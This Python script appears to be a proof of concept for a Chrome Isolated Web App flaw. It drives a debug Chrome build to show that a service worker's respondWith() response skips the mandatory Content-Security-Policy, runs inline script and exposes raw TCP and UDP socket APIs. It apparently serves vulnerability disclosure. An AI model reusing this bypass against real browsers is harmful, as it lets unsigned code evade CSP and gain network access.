#!/usr/bin/env python3
"""
POC: IWA Service Worker respondWith() bypasses mandatory CSP injection.

Drives a real Chrome ASAN build via --remote-debugging-pipe + the CDP
PWA domain (only available to pipe clients, which are AllowUnsafeOperations):

  1. Installs the IWA from a dev-mode proxy at http://127.0.0.1:8123 with a
     fixed proxy-mode SignedWebBundleId.
  2. Launches the IWA. The first navigation is served via
     IsolatedWebAppURLLoaderFactory -> HeaderInjectionURLLoaderClient injects
     the mandatory CSP. The page registers /sw.js.
  3. Reloads. The SW intercepts the navigation FetchEvent and calls
     respondWith(new Response(...)) with COOP/COEP but NO CSP. Because
     ServiceWorkerMainResourceLoader bypasses the per-scheme
     non_network_url_loader_factories_, HeaderInjectionURLLoaderClient never
     runs and no CSP is added.
  4. Verifies via Runtime.evaluate that the resulting isolated-app:// document
     has *no* Content-Security-Policy, executes the inline <script>, is
     crossOriginIsolated, and exposes Direct Sockets (TCPSocket).

This is a logic / protection-mechanism bypass; the proof is the observed
state, not an ASAN report.
"""
import json
import os
import shutil
import subprocess
import sys
import tempfile
import threading
import time

import server  # local server.py

CHROME = os.environ.get(
    'CHROME', '/chromium/chromium/src/out/asan/chrome')

# Valid proxy-mode SignedWebBundleId (32 random bytes + {0x00,0x00,0x02} type
# suffix, base32-lowercase). Taken from
# components/web_package/signed_web_bundles/signed_web_bundle_id_unittest.cc.
BUNDLE_ID = 'airugqztij5biqquuk3mfwpsaibuegaqcitgfchwuosuofdjabzqaaac'
MANIFEST_ID = f'isolated-app://{BUNDLE_ID}/'
PROXY_URL = f'http://{server.HOST}:{server.PORT}/'


class CDPPipe:
    """Minimal CDP-over-pipe client (NUL-delimited JSON on fd 3/4)."""

    def __init__(self, argv, log):
        # Chrome reads commands from its fd 3, writes events to its fd 4.
        c_r, self._w = os.pipe()       # us -> chrome
        self._r, c_w = os.pipe()       # chrome -> us
        os.set_inheritable(c_r, True)
        os.set_inheritable(c_w, True)
        self._log = log
        def _setup():
            os.dup2(c_r, 3)
            os.dup2(c_w, 4)
        self._proc = subprocess.Popen(
            argv,
            close_fds=False,
            stdout=log, stderr=subprocess.STDOUT,
            preexec_fn=_setup)
        os.close(c_r)
        os.close(c_w)
        self._next_id = 1
        self._pending = {}
        self._events = []
        self._lock = threading.Lock()
        self._cond = threading.Condition(self._lock)
        self._closed = False
        threading.Thread(target=self._reader, daemon=True).start()

    def _reader(self):
        buf = b''
        try:
            while True:
                chunk = os.read(self._r, 65536)
                if not chunk:
                    break
                buf += chunk
                while b'\x00' in buf:
                    msg, buf = buf.split(b'\x00', 1)
                    if not msg:
                        continue
                    obj = json.loads(msg)
                    with self._lock:
                        if 'id' in obj:
                            self._pending[obj['id']] = obj
                        else:
                            self._events.append(obj)
                        self._cond.notify_all()
        finally:
            with self._lock:
                self._closed = True
                self._cond.notify_all()

    def send(self, method, params=None, session_id=None, timeout=60):
        mid = self._next_id
        self._next_id += 1
        msg = {'id': mid, 'method': method, 'params': params or {}}
        if session_id:
            msg['sessionId'] = session_id
        os.write(self._w, json.dumps(msg).encode('utf-8') + b'\x00')
        deadline = time.time() + timeout
        with self._lock:
            while mid not in self._pending:
                if self._closed:
                    raise RuntimeError('CDP pipe closed')
                rem = deadline - time.time()
                if rem <= 0:
                    raise TimeoutError(f'{method} timed out')
                self._cond.wait(rem)
            resp = self._pending.pop(mid)
        if 'error' in resp:
            raise RuntimeError(f'{method} failed: {resp["error"]}')
        return resp.get('result', {})

    def wait_event(self, method, pred=None, session_id=None, timeout=60):
        deadline = time.time() + timeout
        idx = 0
        with self._lock:
            while True:
                while idx < len(self._events):
                    e = self._events[idx]
                    idx += 1
                    if e.get('method') != method:
                        continue
                    if session_id is not None and e.get('sessionId') != session_id:
                        continue
                    if pred is None or pred(e.get('params', {})):
                        return e.get('params', {})
                if self._closed:
                    raise RuntimeError('CDP pipe closed')
                rem = deadline - time.time()
                if rem <= 0:
                    raise TimeoutError(f'wait_event({method}) timed out')
                self._cond.wait(rem)

    def close(self):
        try:
            os.write(self._w, json.dumps(
                {'id': 999999, 'method': 'Browser.close'}).encode() + b'\x00')
        except OSError:
            pass
        try:
            self._proc.wait(10)
        except subprocess.TimeoutExpired:
            self._proc.kill()


def evaluate(cdp, sid, expr, await_promise=False, timeout=30):
    r = cdp.send('Runtime.evaluate',
                 {'expression': expr, 'returnByValue': True,
                  'awaitPromise': await_promise},
                 session_id=sid, timeout=timeout)
    if r.get('exceptionDetails'):
        raise RuntimeError('JS exception: %r' % r['exceptionDetails'])
    return r['result'].get('value')


def main():
    httpd = server.start_background()
    user_data = tempfile.mkdtemp(prefix='iwa-poc-')
    log_path = os.path.join(os.path.dirname(os.path.abspath(__file__)),
                            'chrome-log.txt')
    log = open(log_path, 'w')
    print(f'[*] Chrome log: {log_path}')
    print(f'[*] User data dir: {user_data}')

    argv = [
        CHROME,
        '--remote-debugging-pipe',
        '--user-data-dir=' + user_data,
        '--no-first-run', '--no-default-browser-check',
        '--disable-gpu', '--use-gl=disabled',
        '--ozone-platform=headless',
        '--no-sandbox',
        '--enable-features=IsolatedWebApps,IsolatedWebAppDevMode',
        '--enable-logging=stderr', '--v=0',
        'about:blank',
    ]
    print('[*] Launching Chrome…')
    cdp = CDPPipe(argv, log)

    try:
        cdp.send('Target.setDiscoverTargets', {'discover': True})

        print(f'[*] PWA.install manifestId={MANIFEST_ID} '
              f'installUrlOrBundleUrl={PROXY_URL}')
        cdp.send('PWA.install',
                 {'manifestId': MANIFEST_ID,
                  'installUrlOrBundleUrl': PROXY_URL},
                 timeout=120)
        print('[+] IWA installed')

        print('[*] PWA.launch (first load: bundle/proxy path, CSP injected)')
        launch = cdp.send('PWA.launch', {'manifestId': MANIFEST_ID},
                          timeout=60)
        target_id = launch['targetId']
        print(f'[+] IWA target: {target_id}')

        # PWA.launch may return a "tab" target. Find the actual page target
        # whose URL is isolated-app://<bundle-id>/… and attach to it.
        page_target = None
        for _ in range(60):
            for t in cdp.send('Target.getTargets')['targetInfos']:
                if (t['type'] == 'page'
                        and t['url'].startswith('isolated-app://')):
                    page_target = t['targetId']
                    break
            if page_target:
                break
            time.sleep(0.5)
        if not page_target:
            print(cdp.send('Target.getTargets'))
            raise RuntimeError('IWA page target not found')
        print(f'[+] IWA page target: {page_target}')

        att = cdp.send('Target.attachToTarget',
                       {'targetId': page_target, 'flatten': True})
        sid = att['sessionId']
        cdp.send('Page.enable', {}, session_id=sid)
        cdp.send('Runtime.enable', {}, session_id=sid)

        # Wait for the first navigation to finish and the SW to claim the page.
        print('[*] Waiting for SW to register + claim…')
        for _ in range(60):
            t = evaluate(cdp, sid, 'document.title')
            if t == 'SW-READY':
                break
            time.sleep(0.5)
        else:
            # Fall back to awaiting the promise directly.
            evaluate(cdp, sid, 'window.swReadyPromise', await_promise=True,
                     timeout=60)

        first_url = evaluate(cdp, sid, 'location.href')
        print(f'[+] First load committed at {first_url}')

        # Now enable Network capture and start collecting Document responses.
        cdp.send('Network.enable', {}, session_id=sid)
        nav_responses = []

        def _record(params):
            if params.get('type') == 'Document':
                nav_responses.append(params['response'])
            return False

        def _collector():
            try:
                cdp.wait_event('Network.responseReceived', pred=_record,
                               session_id=sid, timeout=300)
            except Exception:
                pass
        threading.Thread(target=_collector, daemon=True).start()

        def navigate_and_capture(url):
            nav_responses.clear()
            cdp.send('Page.navigate', {'url': url}, session_id=sid)
            cdp.wait_event('Page.loadEventFired', session_id=sid, timeout=60)
            time.sleep(1.0)
            r = next((r for r in nav_responses
                      if r['url'].startswith('isolated-app://')), None)
            h = {k.lower(): v for k, v in (r or {}).get('headers', {}).items()}
            return r, h

        # ---- Control: ?nosw -> SW falls through to network ------------------
        # This goes through IsolatedWebAppURLLoaderFactory ->
        # HeaderInjectionURLLoaderClient, which injects the mandatory CSP.
        ctrl, ctrl_hdrs = navigate_and_capture(
            f'isolated-app://{BUNDLE_ID}/index.html?nosw')
        evaluate(cdp, sid, 'window.swReadyPromise', await_promise=True,
                 timeout=60)

        # ---- Bypass: SW respondWith() ---------------------------------------
        nav, nav_hdrs = navigate_and_capture(
            f'isolated-app://{BUNDLE_ID}/index.html')

        result = evaluate(cdp, sid, r'''
          ({
            href:   location.href,
            title:  document.title,
            coi:    self.crossOriginIsolated,
            tcp:    typeof TCPSocket !== 'undefined',
            udp:    typeof UDPSocket !== 'undefined',
            cf:     typeof HTMLControlledFrameElement !== 'undefined',
            swCtrl: !!navigator.serviceWorker.controller,
          })
        ''')

        result['nav_csp']  = nav_hdrs.get('content-security-policy')
        result['nav_coop'] = nav_hdrs.get('cross-origin-opener-policy')
        result['nav_coep'] = nav_hdrs.get('cross-origin-embedder-policy')
        result['nav_via_sw'] = (nav or {}).get('fromServiceWorker')

        print('\n========== CONTROL (network path, ?nosw) ==========')
        print(f'  fromServiceWorker = {(ctrl or {}).get("fromServiceWorker")!r}')
        print(f'  Content-Security-Policy = '
              f'{ctrl_hdrs.get("content-security-policy")!r}')

        print('\n========== BYPASS (SW respondWith) ==========')
        for k, v in result.items():
            print(f'  {k:10s} = {v!r}')
        print('=============================================\n')

        bypass = (result['title'].startswith('CSP-BYPASS')
                  and result['nav_csp'] is None
                  and result['nav_via_sw'] is True
                  and result['coi'] is True
                  and result['tcp'] is True)
        if bypass:
            print('[!] VULNERABILITY CONFIRMED')
            print('    - SW-synthesized navigation response carried NO '
                  'Content-Security-Policy header')
            print('      (HeaderInjectionURLLoaderClient::OnReceiveResponse '
                  'never ran)')
            print('    - inline <script> in that response executed (would be '
                  "blocked by script-src 'self')")
            print('    - crossOriginIsolated == true -> '
                  'WebExposedIsolationInfo::kIsolatedApplication')
            print('    - TCPSocket / UDPSocket / ControlledFrame exposed to '
                  'the unsigned payload')
            return 0
        else:
            print('[-] Bypass NOT observed (see result above)')
            return 1
    finally:
        try:
            cdp.close()
        except Exception:
            pass
        httpd.shutdown()
        log.close()
        shutil.rmtree(user_data, ignore_errors=True)


if __name__ == '__main__':
    sys.exit(main())